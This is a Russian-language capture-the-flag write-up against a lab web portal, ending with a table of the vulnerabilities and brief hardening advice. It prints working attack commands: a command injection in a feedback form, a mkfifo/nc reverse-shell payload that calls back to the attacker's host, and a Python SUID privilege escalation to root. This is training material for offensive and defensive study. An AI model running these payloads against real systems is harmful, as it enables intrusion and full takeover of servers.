r0dd9
Green Team
- 14.08.2019
- 32
- 21
- Специализация
- Пентест
Прямая ссылка на задание
1. recon 192.168.2.219
2. curl grep
3. POST method
4. CMDi
5. RCE
6. python SUID
7. root
Сервер 192.168.2.219
GreenEdge недавно развернула обновлённую версию своего внутреннего портала. Система предназначена для облегчения коммуникации между отделами и улучшения рабочих процессов. Некоторые пользователи сообщили о нестабильной работе отдельных компонентов. Инфраструктура уже доступна для анализа.
nmap
curl
method="POST" параметр feedback=
CMDi = RCE
nc listener
FIFO канал
shell
сделаем tty shell
получим root
CTF решен!
2. Ликвидировать риски SUID
3. Защитить конфиденциальные данные от несанкционированного чтения
1. recon 192.168.2.219
2. curl grep
3. POST method
4. CMDi
5. RCE
6. python SUID
7. root
Цель
Сервер 192.168.2.219GreenEdge недавно развернула обновлённую версию своего внутреннего портала. Система предназначена для облегчения коммуникации между отделами и улучшения рабочих процессов. Некоторые пользователи сообщили о нестабильной работе отдельных компонентов. Инфраструктура уже доступна для анализа.
Разведка цели
nmap
Bash:
nmap -sS 192.168.2.219
Bash:
Nmap scan report for 192.168.2.219
Host is up (0.11s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 2.58 seconds
Bash:
curl -s http://192.168.2.219/ | grep -i "flag\|hint\|debug\|admin\|test\|dev\|env\|config\|backup\|php\|login"
<a href="/index.php">Home</a>
<a href="/about.php">About</a>
<a href="/contact.php">Contact</a>
<a href="/feedback.php">Feedback</a>
Bash:
curl -s http://192.168.2.219/feedback.php
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>GreenEdge Portal</title>
<link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
<div class="nav">
<a href="/index.php">Home</a>
<a href="/about.php">About</a>
<a href="/contact.php">Contact</a>
<a href="/feedback.php">Feedback</a>
</div>
<div class="container"><h1>Employee Feedback Form</h1>
<p>Your suggestions and comments help us improve our internal systems.</p>
<form method="POST">
<textarea name="feedback" placeholder="Enter your message..."></textarea><br>
<button type="submit">Submit</button>
</form>
Выбираем вектор атаки
CMDi = RCE
Этап 1: CMDi
Bash:
curl -s -X POST http://192.168.2.219/feedback.php -d "feedback=; ls -la /"
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>GreenEdge Portal</title>
<link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
<div class="nav">
<a href="/index.php">Home</a>
<a href="/about.php">About</a>
<a href="/contact.php">Contact</a>
<a href="/feedback.php">Feedback</a>
</div>
<div class="container"><h1>Employee Feedback Form</h1>
<p>Your suggestions and comments help us improve our internal systems.</p>
<form method="POST">
<textarea name="feedback" placeholder="Enter your message..."></textarea><br>
<button type="submit">Submit</button>
</form>
<p>Thank you for your feedback.</p><pre>[sendmail] Message sent successfully
[sendmail] Content:
total 72
drwxr-xr-x 1 root root 4096 Sep 5 2025 .
drwxr-xr-x 1 root root 4096 Sep 5 2025 ..
-rwxr-xr-x 1 root root 0 Sep 5 2025 .dockerenv
lrwxrwxrwx 1 root root 7 Aug 19 2025 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Apr 18 2022 boot
drwxr-xr-x 5 root root 320 Jun 19 12:20 dev
drwxr-xr-x 1 root root 4096 Sep 5 2025 etc
drwxr-xr-x 1 root root 4096 Sep 5 2025 home
lrwxrwxrwx 1 root root 7 Aug 19 2025 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Aug 19 2025 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Aug 19 2025 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Aug 19 2025 libx32 -> usr/libx32
drwxr-xr-x 2 root root 4096 Aug 19 2025 media
drwxr-xr-x 2 root root 4096 Aug 19 2025 mnt
drwxr-xr-x 2 root root 4096 Aug 19 2025 opt
dr-xr-xr-x 228 root root 0 Jun 19 12:20 proc
drwx------ 1 root root 4096 Oct 7 2025 root
drwxr-xr-x 1 root root 4096 Sep 7 2025 run
lrwxrwxrwx 1 root root 8 Aug 19 2025 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 Aug 19 2025 srv
dr-xr-xr-x 13 root root 0 Jun 19 12:20 sys
drwxrwxrwt 1 root root 4096 Jun 19 12:21 tmp
drwxr-xr-x 1 root root 4096 Aug 19 2025 usr
drwxr-xr-x 1 root root 4096 Sep 5 2025 var
Этап 2: reverse shell
nc listener
Bash:
nc -lvp 4444
listening on [any] 4444 ...
Bash:
curl -s -X POST http://192.168.2.219/feedback.php -d "feedback=; mkfifo /tmp/f; nc 192.168.116.116 4444 0</tmp/f | bash 1>/tmp/f"
Bash:
nc -lvp 4444
listening on [any] 4444 ...
192.168.2.219: inverse host lookup failed: Unknown host
connect to [192.168.116.116] from (UNKNOWN) [192.168.2.219] 33454
whoami
www-data
Этап 3: эскалация привелегий
сделаем tty shell
Bash:
whoami
www-data
python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@85e0a64f451a:/var/www/html$
Bash:
www-data@85e0a64f451a:/var/www/html$ python3 -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")'
# whoami
whoami
root
#
Этап 4: ищем флаг
Bash:
🏁 cat /home/charley/first_part /root/last_part
Использованные уязвимости
| # | Уязвимость | Краткое описание | MITRE ATT&CK |
|---|---|---|---|
| 1 | RCE через веб-форму (Command Injection) | Форма feedback.php без валидации передаёт пользовательский ввод в OS-команду через внутренний вызов exec(). | T1190 — Exploit Public-Facing Application. T1059.004 — Unix Shell |
| 2 | Слабые учётные данные и SUID-бинарник su | Повышение привилегии до root. | T1548.003 — Abuse Elevation Control Mechanism (SUID) |
| 3 | Небезопасное хранение данных в открытом виде | Флаг разделён на /home/charley/first_part и /root/last_part. Оба файла находятся в стандартных путях с правами 644. | T1005 — Data from Local System |
🛡 Рекомендации по защите
1. Запретить выполнение OS-команд в PHP2. Ликвидировать риски SUID
3. Защитить конфиденциальные данные от несанкционированного чтения